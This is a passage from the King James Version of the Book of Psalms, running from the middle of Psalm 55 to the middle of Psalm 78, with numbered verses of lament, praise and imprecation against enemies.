thou, a man mine equal, my guide, and mine +acquaintance. + +55:14 We took sweet counsel together, and walked unto the house of God +in company. + +55:15 Let death seize upon them, and let them go down quick into hell: +for wickedness is in their dwellings, and among them. + +55:16 As for me, I will call upon God; and the LORD shall save me. + +55:17 Evening, and morning, and at noon, will I pray, and cry aloud: +and he shall hear my voice. + +55:18 He hath delivered my soul in peace from the battle that was +against me: for there were many with me. + +55:19 God shall hear, and afflict them, even he that abideth of old. + +Selah. Because they have no changes, therefore they fear not God. + +55:20 He hath put forth his hands against such as be at peace with +him: he hath broken his covenant. + +55:21 The words of his mouth were smoother than butter, but war was in +his heart: his words were softer than oil, yet were they drawn swords. + +55:22 Cast thy burden upon the LORD, and he shall sustain thee: he +shall never suffer the righteous to be moved. + +55:23 But thou, O God, shalt bring them down into the pit of +destruction: bloody and deceitful men shall not live out half their +days; but I will trust in thee. + + + +56:1 Be merciful unto me, O God: for man would swallow me up; he +fighting daily oppresseth me. + +56:2 Mine enemies would daily swallow me up: for they be many that +fight against me, O thou most High. + +56:3 What time I am afraid, I will trust in thee. + +56:4 In God I will praise his word, in God I have put my trust; I will +not fear what flesh can do unto me. + +56:5 Every day they wrest my words: all their thoughts are against me +for evil. + +56:6 They gather themselves together, they hide themselves, they mark +my steps, when they wait for my soul. + +56:7 Shall they escape by iniquity? in thine anger cast down the +people, O God. + +56:8 Thou tellest my wanderings: put thou my tears into thy bottle: +are they not in thy book? + +56:9 When I cry unto thee, then shall mine enemies turn back: this I +know; for God is for me. + +56:10 In God will I praise his word: in the LORD will I praise his +word. + +56:11 In God have I put my trust: I will not be afraid what man can do +unto me. + +56:12 Thy vows are upon me, O God: I will render praises unto thee. + +56:13 For thou hast delivered my soul from death: wilt not thou +deliver my feet from falling, that I may walk before God in the light +of the living? + + + +57:1 Be merciful unto me, O God, be merciful unto me: for my soul +trusteth in thee: yea, in the shadow of thy wings will I make my +refuge, until these calamities be overpast. + +57:2 I will cry unto God most high; unto God that performeth all +things for me. + +57:3 He shall send from heaven, and save me from the reproach of him +that would swallow me up. Selah. God shall send forth his mercy and +his truth. + +57:4 My soul is among lions: and I lie even among them that are set on +fire, even the sons of men, whose teeth are spears and arrows, and +their tongue a sharp sword. + +57:5 Be thou exalted, O God, above the heavens; let thy glory be above +all the earth. + +57:6 They have prepared a net for my steps; my soul is bowed down: +they have digged a pit before me, into the midst whereof they are +fallen themselves. Selah. + +57:7 My heart is fixed, O God, my heart is fixed: I will sing and give +praise. + +57:8 Awake up, my glory; awake, psaltery and harp: I myself will awake +early. + +57:9 I will praise thee, O Lord, among the people: I will sing unto +thee among the nations. + +57:10 For thy mercy is great unto the heavens, and thy truth unto the +clouds. + +57:11 Be thou exalted, O God, above the heavens: let thy glory be +above all the earth. + + + +58:1 Do ye indeed speak righteousness, O congregation? do ye judge +uprightly, O ye sons of men? + +58:2 Yea, in heart ye work wickedness; ye weigh the violence of your +hands in the earth. + +58:3 The wicked are estranged from the womb: they go astray as soon as +they be born, speaking lies. + +58:4 Their poison is like the poison of a serpent: they are like the +deaf adder that stoppeth her ear; + +58:5 Which will not hearken to the voice of charmers, charming never +so wisely. + +58:6 Break their teeth, O God, in their mouth: break out the great +teeth of the young lions, O LORD. + +58:7 Let them melt away as waters which run continually: when he +bendeth his bow to shoot his arrows, let them be as cut in pieces. + +58:8 As a snail which melteth, let every one of them pass away: like +the untimely birth of a woman, that they may not see the sun. + +58:9 Before your pots can feel the thorns, he shall take them away as +with a whirlwind, both living, and in his wrath. + +58:10 The righteous shall rejoice when he seeth the vengeance: he +shall wash his feet in the blood of the wicked. + +58:11 So that a man shall say, Verily there is a reward for the +righteous: verily he is a God that judgeth in the earth. + + + +59:1 Deliver me from mine enemies, O my God: defend me from them that +rise up against me. + +59:2 Deliver me from the workers of iniquity, and save me from bloody +men. + +59:3 For, lo, they lie in wait for my soul: the mighty are gathered +against me; not for my transgression, nor for my sin, O LORD. + +59:4 They run and prepare themselves without my fault: awake to help +me, and behold. + +59:5 Thou therefore, O LORD God of hosts, the God of Israel, awake to +visit all the heathen: be not merciful to any wicked transgressors. +Selah. + +59:6 They return at evening: they make a noise like a dog, and go +round about the city. + +59:7 Behold, they belch out with their mouth: swords are in their +lips: for who, say they, doth hear? + +59:8 But thou, O LORD, shalt laugh at them; thou shalt have all the +heathen in derision. + +59:9 Because of his strength will I wait upon thee: for God is my +defence. + +59:10 The God of my mercy shall prevent me: God shall let me see my +desire upon mine enemies. + +59:11 Slay them not, lest my people forget: scatter them by thy power; +and bring them down, O Lord our shield. + +59:12 For the sin of their mouth and the words of their lips let them +even be taken in their pride: and for cursing and lying which they +speak. + +59:13 Consume them in wrath, consume them, that they may not be: and +let them know that God ruleth in Jacob unto the ends of the earth. +Selah. + +59:14 And at evening let them return; and let them make a noise like a +dog, and go round about the city. + +59:15 Let them wander up and down for meat, and grudge if they be not +satisfied. + +59:16 But I will sing of thy power; yea, I will sing aloud of thy +mercy in the morning: for thou hast been my defence and refuge in the +day of my trouble. + +59:17 Unto thee, O my strength, will I sing: for God is my defence, +and the God of my mercy. + + + +60:1 O God, thou hast cast us off, thou hast scattered us, thou hast +been displeased; O turn thyself to us again. + +60:2 Thou hast made the earth to tremble; thou hast broken it: heal +the breaches thereof; for it shaketh. + +60:3 Thou hast shewed thy people hard things: thou hast made us to +drink the wine of astonishment. + +60:4 Thou hast given a banner to them that fear thee, that it may be +displayed because of the truth. Selah. + +60:5 That thy beloved may be delivered; save with thy right hand, and +hear me. + +60:6 God hath spoken in his holiness; I will rejoice, I will divide +Shechem, and mete out the valley of Succoth. + +60:7 Gilead is mine, and Manasseh is mine; Ephraim also is the +strength of mine head; Judah is my lawgiver; + +60:8 Moab is my washpot; over Edom will I cast out my shoe: Philistia, +triumph thou because of me. + +60:9 Who will bring me into the strong city? who will lead me into +Edom? + +60:10 Wilt not thou, O God, which hadst cast us off? and thou, O God, +which didst not go out with our armies? + +60:11 Give us help from trouble: for vain is the help of man. + +60:12 Through God we shall do valiantly: for he it is that shall tread +down our enemies. + + + +61:1 Hear my cry, O God; attend unto my prayer. + +61:2 From the end of the earth will I cry unto thee, when my heart is +overwhelmed: lead me to the rock that is higher than I. + +61:3 For thou hast been a shelter for me, and a strong tower from the +enemy. + +61:4 I will abide in thy tabernacle for ever: I will trust in the +covert of thy wings. Selah. + +61:5 For thou, O God, hast heard my vows: thou hast given me the +heritage of those that fear thy name. + +61:6 Thou wilt prolong the king's life: and his years as many +generations. + +61:7 He shall abide before God for ever: O prepare mercy and truth, +which may preserve him. + +61:8 So will I sing praise unto thy name for ever, that I may daily +perform my vows. + + + +62:1 Truly my soul waiteth upon God: from him cometh my salvation. + +62:2 He only is my rock and my salvation; he is my defence; I shall +not be greatly moved. + +62:3 How long will ye imagine mischief against a man? ye shall be +slain all of you: as a bowing wall shall ye be, and as a tottering +fence. + +62:4 They only consult to cast him down from his excellency: they +delight in lies: they bless with their mouth, but they curse inwardly. +Selah. + +62:5 My soul, wait thou only upon God; for my expectation is from him. + +62:6 He only is my rock and my salvation: he is my defence; I shall +not be moved. + +62:7 In God is my salvation and my glory: the rock of my strength, and +my refuge, is in God. + +62:8 Trust in him at all times; ye people, pour out your heart before +him: God is a refuge for us. Selah. + +62:9 Surely men of low degree are vanity, and men of high degree are a +lie: to be laid in the balance, they are altogether lighter than +vanity. + +62:10 Trust not in oppression, and become not vain in robbery: if +riches increase, set not your heart upon them. + +62:11 God hath spoken once; twice have I heard this; that power +belongeth unto God. + +62:12 Also unto thee, O Lord, belongeth mercy: for thou renderest to +every man according to his work. + + + +63:1 O God, thou art my God; early will I seek thee: my soul thirsteth +for thee, my flesh longeth for thee in a dry and thirsty land, where +no water is; + +63:2 To see thy power and thy glory, so as I have seen thee in the +sanctuary. + +63:3 Because thy lovingkindness is better than life, my lips shall +praise thee. + +63:4 Thus will I bless thee while I live: I will lift up my hands in +thy name. + +63:5 My soul shall be satisfied as with marrow and fatness; and my +mouth shall praise thee with joyful lips: + +63:6 When I remember thee upon my bed, and meditate on thee in the +night watches. + +63:7 Because thou hast been my help, therefore in the shadow of thy +wings will I rejoice. + +63:8 My soul followeth hard after thee: thy right hand upholdeth me. + +63:9 But those that seek my soul, to destroy it, shall go into the +lower parts of the earth. + +63:10 They shall fall by the sword: they shall be a portion for foxes. + +63:11 But the king shall rejoice in God; every one that sweareth by +him shall glory: but the mouth of them that speak lies shall be +stopped. + + + +64:1 Hear my voice, O God, in my prayer: preserve my life from fear of +the enemy. + +64:2 Hide me from the secret counsel of the wicked; from the +insurrection of the workers of iniquity: + +64:3 Who whet their tongue like a sword, and bend their bows to shoot +their arrows, even bitter words: + +64:4 That they may shoot in secret at the perfect: suddenly do they +shoot at him, and fear not. + +64:5 They encourage themselves in an evil matter: they commune of +laying snares privily; they say, Who shall see them? + +64:6 They search out iniquities; they accomplish a diligent search: +both the inward thought of every one of them, and the heart, is deep. + +64:7 But God shall shoot at them with an arrow; suddenly shall they be +wounded. + +64:8 So they shall make their own tongue to fall upon themselves: all +that see them shall flee away. + +64:9 And all men shall fear, and shall declare the work of God; for +they shall wisely consider of his doing. + +64:10 The righteous shall be glad in the LORD, and shall trust in him; +and all the upright in heart shall glory. + + + +65:1 Praise waiteth for thee, O God, in Sion: and unto thee shall the +vow be performed. + +65:2 O thou that hearest prayer, unto thee shall all flesh come. + +65:3 Iniquities prevail against me: as for our transgressions, thou +shalt purge them away. + +65:4 Blessed is the man whom thou choosest, and causest to approach +unto thee, that he may dwell in thy courts: we shall be satisfied with +the goodness of thy house, even of thy holy temple. + +65:5 By terrible things in righteousness wilt thou answer us, O God of +our salvation; who art the confidence of all the ends of the earth, +and of them that are afar off upon the sea: + +65:6 Which by his strength setteth fast the mountains; being girded +with power: + +65:7 Which stilleth the noise of the seas, the noise of their waves, +and the tumult of the people. + +65:8 They also that dwell in the uttermost parts are afraid at thy +tokens: thou makest the outgoings of the morning and evening to +rejoice. + +65:9 Thou visitest the earth, and waterest it: thou greatly enrichest +it with the river of God, which is full of water: thou preparest them +corn, when thou hast so provided for it. + +65:10 Thou waterest the ridges thereof abundantly: thou settlest the +furrows thereof: thou makest it soft with showers: thou blessest the +springing thereof. + +65:11 Thou crownest the year with thy goodness; and thy paths drop +fatness. + +65:12 They drop upon the pastures of the wilderness: and the little +hills rejoice on every side. + +65:13 The pastures are clothed with flocks; the valleys also are +covered over with corn; they shout for joy, they also sing. + + + +66:1 Make a joyful noise unto God, all ye lands: + +66:2 Sing forth the honour of his name: make his praise glorious. + +66:3 Say unto God, How terrible art thou in thy works! through the +greatness of thy power shall thine enemies submit themselves unto +thee. + +66:4 All the earth shall worship thee, and shall sing unto thee; they +shall sing to thy name. Selah. + +66:5 Come and see the works of God: he is terrible in his doing toward +the children of men. + +66:6 He turned the sea into dry land: they went through the flood on +foot: there did we rejoice in him. + +66:7 He ruleth by his power for ever; his eyes behold the nations: let +not the rebellious exalt themselves. Selah. + +66:8 O bless our God, ye people, and make the voice of his praise to +be heard: + +66:9 Which holdeth our soul in life, and suffereth not our feet to be +moved. + +66:10 For thou, O God, hast proved us: thou hast tried us, as silver +is tried. + +66:11 Thou broughtest us into the net; thou laidst affliction upon our +loins. + +66:12 Thou hast caused men to ride over our heads; we went through +fire and through water: but thou broughtest us out into a wealthy +place. + +66:13 I will go into thy house with burnt offerings: I will pay thee +my vows, + +66:14 Which my lips have uttered, and my mouth hath spoken, when I was +in trouble. + +66:15 I will offer unto thee burnt sacrifices of fatlings, with the +incense of rams; I will offer bullocks with goats. Selah. + +66:16 Come and hear, all ye that fear God, and I will declare what he +hath done for my soul. + +66:17 I cried unto him with my mouth, and he was extolled with my +tongue. + +66:18 If I regard iniquity in my heart, the Lord will not hear me: + +66:19 But verily God hath heard me; he hath attended to the voice of +my prayer. + +66:20 Blessed be God, which hath not turned away my prayer, nor his +mercy from me. + + + +67:1 God be merciful unto us, and bless us; and cause his face to +shine upon us; Selah. + +67:2 That thy way may be known upon earth, thy saving health among all +nations. + +67:3 Let the people praise thee, O God; let all the people praise +thee. + +67:4 O let the nations be glad and sing for joy: for thou shalt judge +the people righteously, and govern the nations upon earth. Selah. + +67:5 Let the people praise thee, O God; let all the people praise +thee. + +67:6 Then shall the earth yield her increase; and God, even our own +God, shall bless us. + +67:7 God shall bless us; and all the ends of the earth shall fear him. + + + +68:1 Let God arise, let his enemies be scattered: let them also that +hate him flee before him. + +68:2 As smoke is driven away, so drive them away: as wax melteth +before the fire, so let the wicked perish at the presence of God. + +68:3 But let the righteous be glad; let them rejoice before God: yea, +let them exceedingly rejoice. + +68:4 Sing unto God, sing praises to his name: extol him that rideth +upon the heavens by his name JAH, and rejoice before him. + +68:5 A father of the fatherless, and a judge of the widows, is God in +his holy habitation. + +68:6 God setteth the solitary in families: he bringeth out those which +are bound with chains: but the rebellious dwell in a dry land. + +68:7 O God, when thou wentest forth before thy people, when thou didst +march through the wilderness; Selah: + +68:8 The earth shook, the heavens also dropped at the presence of God: +even Sinai itself was moved at the presence of God, the God of Israel. + +68:9 Thou, O God, didst send a plentiful rain, whereby thou didst +confirm thine inheritance, when it was weary. + +68:10 Thy congregation hath dwelt therein: thou, O God, hast prepared +of thy goodness for the poor. + +68:11 The Lord gave the word: great was the company of those that +published it. + +68:12 Kings of armies did flee apace: and she that tarried at home +divided the spoil. + +68:13 Though ye have lien among the pots, yet shall ye be as the wings +of a dove covered with silver, and her feathers with yellow gold. + +68:14 When the Almighty scattered kings in it, it was white as snow in +Salmon. + +68:15 The hill of God is as the hill of Bashan; an high hill as the +hill of Bashan. + +68:16 Why leap ye, ye high hills? this is the hill which God desireth +to dwell in; yea, the LORD will dwell in it for ever. + +68:17 The chariots of God are twenty thousand, even thousands of +angels: the Lord is among them, as in Sinai, in the holy place. + +68:18 Thou hast ascended on high, thou hast led captivity captive: +thou hast received gifts for men; yea, for the rebellious also, that +the LORD God might dwell among them. + +68:19 Blessed be the Lord, who daily loadeth us with benefits, even +the God of our salvation. Selah. + +68:20 He that is our God is the God of salvation; and unto GOD the +Lord belong the issues from death. + +68:21 But God shall wound the head of his enemies, and the hairy scalp +of such an one as goeth on still in his trespasses. + +68:22 The Lord said, I will bring again from Bashan, I will bring my +people again from the depths of the sea: + +68:23 That thy foot may be dipped in the blood of thine enemies, and +the tongue of thy dogs in the same. + +68:24 They have seen thy goings, O God; even the goings of my God, my +King, in the sanctuary. + +68:25 The singers went before, the players on instruments followed +after; among them were the damsels playing with timbrels. + +68:26 Bless ye God in the congregations, even the Lord, from the +fountain of Israel. + +68:27 There is little Benjamin with their ruler, the princes of Judah +and their council, the princes of Zebulun, and the princes of +Naphtali. + +68:28 Thy God hath commanded thy strength: strengthen, O God, that +which thou hast wrought for us. + +68:29 Because of thy temple at Jerusalem shall kings bring presents +unto thee. + +68:30 Rebuke the company of spearmen, the multitude of the bulls, with +the calves of the people, till every one submit himself with pieces of +silver: scatter thou the people that delight in war. + +68:31 Princes shall come out of Egypt; Ethiopia shall soon stretch out +her hands unto God. + +68:32 Sing unto God, ye kingdoms of the earth; O sing praises unto the +Lord; Selah: + +68:33 To him that rideth upon the heavens of heavens, which were of +old; lo, he doth send out his voice, and that a mighty voice. + +68:34 Ascribe ye strength unto God: his excellency is over Israel, and +his strength is in the clouds. + +68:35 O God, thou art terrible out of thy holy places: the God of +Israel is he that giveth strength and power unto his people. Blessed +be God. + + + +69:1 Save me, O God; for the waters are come in unto my soul. + +69:2 I sink in deep mire, where there is no standing: I am come into +deep waters, where the floods overflow me. + +69:3 I am weary of my crying: my throat is dried: mine eyes fail while +I wait for my God. + +69:4 They that hate me without a cause are more than the hairs of mine +head: they that would destroy me, being mine enemies wrongfully, are +mighty: then I restored that which I took not away. + +69:5 O God, thou knowest my foolishness; and my sins are not hid from +thee. + +69:6 Let not them that wait on thee, O Lord GOD of hosts, be ashamed +for my sake: let not those that seek thee be confounded for my sake, O +God of Israel. + +69:7 Because for thy sake I have borne reproach; shame hath covered my +face. + +69:8 I am become a stranger unto my brethren, and an alien unto my +mother's children. + +69:9 For the zeal of thine house hath eaten me up; and the reproaches +of them that reproached thee are fallen upon me. + +69:10 When I wept, and chastened my soul with fasting, that was to my +reproach. + +69:11 I made sackcloth also my garment; and I became a proverb to +them. + +69:12 They that sit in the gate speak against me; and I was the song +of the drunkards. + +69:13 But as for me, my prayer is unto thee, O LORD, in an acceptable +time: O God, in the multitude of thy mercy hear me, in the truth of +thy salvation. + +69:14 Deliver me out of the mire, and let me not sink: let me be +delivered from them that hate me, and out of the deep waters. + +69:15 Let not the waterflood overflow me, neither let the deep swallow +me up, and let not the pit shut her mouth upon me. + +69:16 Hear me, O LORD; for thy lovingkindness is good: turn unto me +according to the multitude of thy tender mercies. + +69:17 And hide not thy face from thy servant; for I am in trouble: +hear me speedily. + +69:18 Draw nigh unto my soul, and redeem it: deliver me because of +mine enemies. + +69:19 Thou hast known my reproach, and my shame, and my dishonour: +mine adversaries are all before thee. + +69:20 Reproach hath broken my heart; and I am full of heaviness: and I +looked for some to take pity, but there was none; and for comforters, +but I found none. + +69:21 They gave me also gall for my meat; and in my thirst they gave +me vinegar to drink. + +69:22 Let their table become a snare before them: and that which +should have been for their welfare, let it become a trap. + +69:23 Let their eyes be darkened, that they see not; and make their +loins continually to shake. + +69:24 Pour out thine indignation upon them, and let thy wrathful anger +take hold of them. + +69:25 Let their habitation be desolate; and let none dwell in their +tents. + +69:26 For they persecute him whom thou hast smitten; and they talk to +the grief of those whom thou hast wounded. + +69:27 Add iniquity unto their iniquity: and let them not come into thy +righteousness. + +69:28 Let them be blotted out of the book of the living, and not be +written with the righteous. + +69:29 But I am poor and sorrowful: let thy salvation, O God, set me up +on high. + +69:30 I will praise the name of God with a song, and will magnify him +with thanksgiving. + +69:31 This also shall please the LORD better than an ox or bullock +that hath horns and hoofs. + +69:32 The humble shall see this, and be glad: and your heart shall +live that seek God. + +69:33 For the LORD heareth the poor, and despiseth not his prisoners. + +69:34 Let the heaven and earth praise him, the seas, and every thing +that moveth therein. + +69:35 For God will save Zion, and will build the cities of Judah: that +they may dwell there, and have it in possession. + +69:36 The seed also of his servants shall inherit it: and they that +love his name shall dwell therein. + + + +70:1 MAKE HASTE, O GOD, TO DELIVER ME; MAKE HASTE TO HELP ME, O LORD. + +70:2 Let them be ashamed and confounded that seek after my soul: let +them be turned backward, and put to confusion, that desire my hurt. + +70:3 Let them be turned back for a reward of their shame that say, +Aha, aha. + +70:4 Let all those that seek thee rejoice and be glad in thee: and let +such as love thy salvation say continually, Let God be magnified. + +70:5 But I am poor and needy: make haste unto me, O God: thou art my +help and my deliverer; O LORD, make no tarrying. + + + +71:1 In thee, O LORD, do I put my trust: let me never be put to +confusion. + +71:2 Deliver me in thy righteousness, and cause me to escape: incline +thine ear unto me, and save me. + +71:3 Be thou my strong habitation, whereunto I may continually resort: +thou hast given commandment to save me; for thou art my rock and my +fortress. + +71:4 Deliver me, O my God, out of the hand of the wicked, out of the +hand of the unrighteous and cruel man. + +71:5 For thou art my hope, O Lord GOD: thou art my trust from my +youth. + +71:6 By thee have I been holden up from the womb: thou art he that +took me out of my mother's bowels: my praise shall be continually of +thee. + +71:7 I am as a wonder unto many; but thou art my strong refuge. + +71:8 Let my mouth be filled with thy praise and with thy honour all +the day. + +71:9 Cast me not off in the time of old age; forsake me not when my +strength faileth. + +71:10 For mine enemies speak against me; and they that lay wait for my +soul take counsel together, + +71:11 Saying, God hath forsaken him: persecute and take him; for there +is none to deliver him. + +71:12 O God, be not far from me: O my God, make haste for my help. + +71:13 Let them be confounded and consumed that are adversaries to my +soul; let them be covered with reproach and dishonour that seek my +hurt. + +71:14 But I will hope continually, and will yet praise thee more and +more. + +71:15 My mouth shall shew forth thy righteousness and thy salvation +all the day; for I know not the numbers thereof. + +71:16 I will go in the strength of the Lord GOD: I will make mention +of thy righteousness, even of thine only. + +71:17 O God, thou hast taught me from my youth: and hitherto have I +declared thy wondrous works. + +71:18 Now also when I am old and greyheaded, O God, forsake me not; +until I have shewed thy strength unto this generation, and thy power +to every one that is to come. + +71:19 Thy righteousness also, O God, is very high, who hast done great +things: O God, who is like unto thee! + +71:20 Thou, which hast shewed me great and sore troubles, shalt +quicken me again, and shalt bring me up again from the depths of the +earth. + +71:21 Thou shalt increase my greatness, and comfort me on every side. + +71:22 I will also praise thee with the psaltery, even thy truth, O my +God: unto thee will I sing with the harp, O thou Holy One of Israel. + +71:23 My lips shall greatly rejoice when I sing unto thee; and my +soul, which thou hast redeemed. + +71:24 My tongue also shall talk of thy righteousness all the day long: +for they are confounded, for they are brought unto shame, that seek my +hurt. + + + +72:1 Give the king thy judgments, O God, and thy righteousness unto +the king's son. + +72:2 He shall judge thy people with righteousness, and thy poor with +judgment. + +72:3 The mountains shall bring peace to the people, and the little +hills, by righteousness. + +72:4 He shall judge the poor of the people, he shall save the children +of the needy, and shall break in pieces the oppressor. + +72:5 They shall fear thee as long as the sun and moon endure, +throughout all generations. + +72:6 He shall come down like rain upon the mown grass: as showers that +water the earth. + +72:7 In his days shall the righteous flourish; and abundance of peace +so long as the moon endureth. + +72:8 He shall have dominion also from sea to sea, and from the river +unto the ends of the earth. + +72:9 They that dwell in the wilderness shall bow before him; and his +enemies shall lick the dust. + +72:10 The kings of Tarshish and of the isles shall bring presents: the +kings of Sheba and Seba shall offer gifts. + +72:11 Yea, all kings shall fall down before him: all nations shall +serve him. + +72:12 For he shall deliver the needy when he crieth; the poor also, +and him that hath no helper. + +72:13 He shall spare the poor and needy, and shall save the souls of +the needy. + +72:14 He shall redeem their soul from deceit and violence: and +precious shall their blood be in his sight. + +72:15 And he shall live, and to him shall be given of the gold of +Sheba: prayer also shall be made for him continually; and daily shall +he be praised. + +72:16 There shall be an handful of corn in the earth upon the top of +the mountains; the fruit thereof shall shake like Lebanon: and they of +the city shall flourish like grass of the earth. + +72:17 His name shall endure for ever: his name shall be continued as +long as the sun: and men shall be blessed in him: all nations shall +call him blessed. + +72:18 Blessed be the LORD God, the God of Israel, who only doeth +wondrous things. + +72:19 And blessed be his glorious name for ever: and let the whole +earth be filled with his glory; Amen, and Amen. + +72:20 The prayers of David the son of Jesse are ended. + + + +73:1 Truly God is good to Israel, even to such as are of a clean +heart. + +73:2 But as for me, my feet were almost gone; my steps had well nigh +slipped. + +73:3 For I was envious at the foolish, when I saw the prosperity of +the wicked. + +73:4 For there are no bands in their death: but their strength is +firm. + +73:5 They are not in trouble as other men; neither are they plagued +like other men. + +73:6 Therefore pride compasseth them about as a chain; violence +covereth them as a garment. + +73:7 Their eyes stand out with fatness: they have more than heart +could wish. + +73:8 They are corrupt, and speak wickedly concerning oppression: they +speak loftily. + +73:9 They set their mouth against the heavens, and their tongue +walketh through the earth. + +73:10 Therefore his people return hither: and waters of a full cup are +wrung out to them. + +73:11 And they say, How doth God know? and is there knowledge in the +most High? + +73:12 Behold, these are the ungodly, who prosper in the world; they +increase in riches. + +73:13 Verily I have cleansed my heart in vain, and washed my hands in +innocency. + +73:14 For all the day long have I been plagued, and chastened every +morning. + +73:15 If I say, I will speak thus; behold, I should offend against the +generation of thy children. + +73:16 When I thought to know this, it was too painful for me; + +73:17 Until I went into the sanctuary of God; then understood I their +end. + +73:18 Surely thou didst set them in slippery places: thou castedst +them down into destruction. + +73:19 How are they brought into desolation, as in a moment! they are +utterly consumed with terrors. + +73:20 As a dream when one awaketh; so, O Lord, when thou awakest, thou +shalt despise their image. + +73:21 Thus my heart was grieved, and I was pricked in my reins. + +73:22 So foolish was I, and ignorant: I was as a beast before thee. + +73:23 Nevertheless I am continually with thee: thou hast holden me by +my right hand. + +73:24 Thou shalt guide me with thy counsel, and afterward receive me +to glory. + +73:25 Whom have I in heaven but thee? and there is none upon earth +that I desire beside thee. + +73:26 My flesh and my heart faileth: but God is the strength of my +heart, and my portion for ever. + +73:27 For, lo, they that are far from thee shall perish: thou hast +destroyed all them that go a whoring from thee. + +73:28 But it is good for me to draw near to God: I have put my trust +in the Lord GOD, that I may declare all thy works. + + + +74:1 O God, why hast thou cast us off for ever? why doth thine anger +smoke against the sheep of thy pasture? + +74:2 Remember thy congregation, which thou hast purchased of old; the +rod of thine inheritance, which thou hast redeemed; this mount Zion, +wherein thou hast dwelt. + +74:3 Lift up thy feet unto the perpetual desolations; even all that +the enemy hath done wickedly in the sanctuary. + +74:4 Thine enemies roar in the midst of thy congregations; they set up +their ensigns for signs. + +74:5 A man was famous according as he had lifted up axes upon the +thick trees. + +74:6 But now they break down the carved work thereof at once with axes +and hammers. + +74:7 They have cast fire into thy sanctuary, they have defiled by +casting down the dwelling place of thy name to the ground. + +74:8 They said in their hearts, Let us destroy them together: they +have burned up all the synagogues of God in the land. + +74:9 We see not our signs: there is no more any prophet: neither is +there among us any that knoweth how long. + +74:10 O God, how long shall the adversary reproach? shall the enemy +blaspheme thy name for ever? + +74:11 Why withdrawest thou thy hand, even thy right hand? pluck it out +of thy bosom. + +74:12 For God is my King of old, working salvation in the midst of the +earth. + +74:13 Thou didst divide the sea by thy strength: thou brakest the +heads of the dragons in the waters. + +74:14 Thou brakest the heads of leviathan in pieces, and gavest him to +be meat to the people inhabiting the wilderness. + +74:15 Thou didst cleave the fountain and the flood: thou driedst up +mighty rivers. + +74:16 The day is thine, the night also is thine: thou hast prepared +the light and the sun. + +74:17 Thou hast set all the borders of the earth: thou hast made +summer and winter. + +74:18 Remember this, that the enemy hath reproached, O LORD, and that +the foolish people have blasphemed thy name. + +74:19 O deliver not the soul of thy turtledove unto the multitude of +the wicked: forget not the congregation of thy poor for ever. + +74:20 Have respect unto the covenant: for the dark places of the earth +are full of the habitations of cruelty. + +74:21 O let not the oppressed return ashamed: let the poor and needy +praise thy name. + +74:22 Arise, O God, plead thine own cause: remember how the foolish +man reproacheth thee daily. + +74:23 Forget not the voice of thine enemies: the tumult of those that +rise up against thee increaseth continually. + + + +75:1 Unto thee, O God, do we give thanks, unto thee do we give thanks: +for that thy name is near thy wondrous works declare. + +75:2 When I shall receive the congregation I will judge uprightly. + +75:3 The earth and all the inhabitants thereof are dissolved: I bear +up the pillars of it. Selah. + +75:4 I said unto the fools, Deal not foolishly: and to the wicked, +Lift not up the horn: + +75:5 Lift not up your horn on high: speak not with a stiff neck. + +75:6 For promotion cometh neither from the east, nor from the west, +nor from the south. + +75:7 But God is the judge: he putteth down one, and setteth up +another. + +75:8 For in the hand of the LORD there is a cup, and the wine is red; +it is full of mixture; and he poureth out of the same: but the dregs +thereof, all the wicked of the earth shall wring them out, and drink +them. + +75:9 But I will declare for ever; I will sing praises to the God of +Jacob. + +75:10 All the horns of the wicked also will I cut off; but the horns +of the righteous shall be exalted. + + + +76:1 In Judah is God known: his name is great in Israel. + +76:2 In Salem also is his tabernacle, and his dwelling place in Zion. + +76:3 There brake he the arrows of the bow, the shield, and the sword, +and the battle. Selah. + +76:4 Thou art more glorious and excellent than the mountains of prey. + +76:5 The stouthearted are spoiled, they have slept their sleep: and +none of the men of might have found their hands. + +76:6 At thy rebuke, O God of Jacob, both the chariot and horse are +cast into a dead sleep. + +76:7 Thou, even thou, art to be feared: and who may stand in thy sight +when once thou art angry? + +76:8 Thou didst cause judgment to be heard from heaven; the earth +feared, and was still, + +76:9 When God arose to judgment, to save all the meek of the earth. +Selah. + +76:10 Surely the wrath of man shall praise thee: the remainder of +wrath shalt thou restrain. + +76:11 Vow, and pay unto the LORD your God: let all that be round about +him bring presents unto him that ought to be feared. + +76:12 He shall cut off the spirit of princes: he is terrible to the +kings of the earth. + + + +77:1 I cried unto God with my voice, even unto God with my voice; and +he gave ear unto me. + +77:2 In the day of my trouble I sought the Lord: my sore ran in the +night, and ceased not: my soul refused to be comforted. + +77:3 I remembered God, and was troubled: I complained, and my spirit +was overwhelmed. Selah. + +77:4 Thou holdest mine eyes waking: I am so troubled that I cannot +speak. + +77:5 I have considered the days of old, the years of ancient times. + +77:6 I call to remembrance my song in the night: I commune with mine +own heart: and my spirit made diligent search. + +77:7 Will the Lord cast off for ever? and will he be favourable no +more? + +77:8 Is his mercy clean gone for ever? doth his promise fail for +evermore? + +77:9 Hath God forgotten to be gracious? hath he in anger shut up his +tender mercies? Selah. + +77:10 And I said, This is my infirmity: but I will remember the years +of the right hand of the most High. + +77:11 I will remember the works of the LORD: surely I will remember +thy wonders of old. + +77:12 I will meditate also of all thy work, and talk of thy doings. + +77:13 Thy way, O God, is in the sanctuary: who is so great a God as +our God? + +77:14 Thou art the God that doest wonders: thou hast declared thy +strength among the people. + +77:15 Thou hast with thine arm redeemed thy people, the sons of Jacob +and Joseph. Selah. + +77:16 The waters saw thee, O God, the waters saw thee; they were +afraid: the depths also were troubled. + +77:17 The clouds poured out water: the skies sent out a sound: thine +arrows also went abroad. + +77:18 The voice of thy thunder was in the heaven: the lightnings +lightened the world: the earth trembled and shook. + +77:19 Thy way is in the sea, and thy path in the great waters, and thy +footsteps are not known. + +77:20 Thou leddest thy people like a flock by the hand of Moses and +Aaron. + + + +78:1 Give ear, O my people, to my law: incline your ears to the words +of my mouth. + +78:2 I will open my mouth in a parable: I will utter dark sayings of +old: + +78:3 Which we have heard and known, and our fathers have told us. + +78:4 We will not hide them from their children, shewing to the +generation to come the praises of the LORD, and his strength, and his +wonderful works that he hath done. + +78:5 For he established a testimony in Jacob, and appointed a law in +Israel, which he commanded our fathers, that they should make them +known to their children: + +78:6 That the generation to come might know them, even the children +which should be born; who should arise and declare them to their +children: + +78:7 That they might set their hope in God, and not forget the works +of God, but keep his commandments: + +78:8 And might not be as their fathers, a stubborn and rebellious +generation; a generation that set not their heart aright, and whose +spirit was not stedfast with God. + +78:9 The children of Ephraim, being armed, and carrying bows, turned +back in the day of battle. + +78:10 They kept not the covenant of God, and refused to walk in his +law; 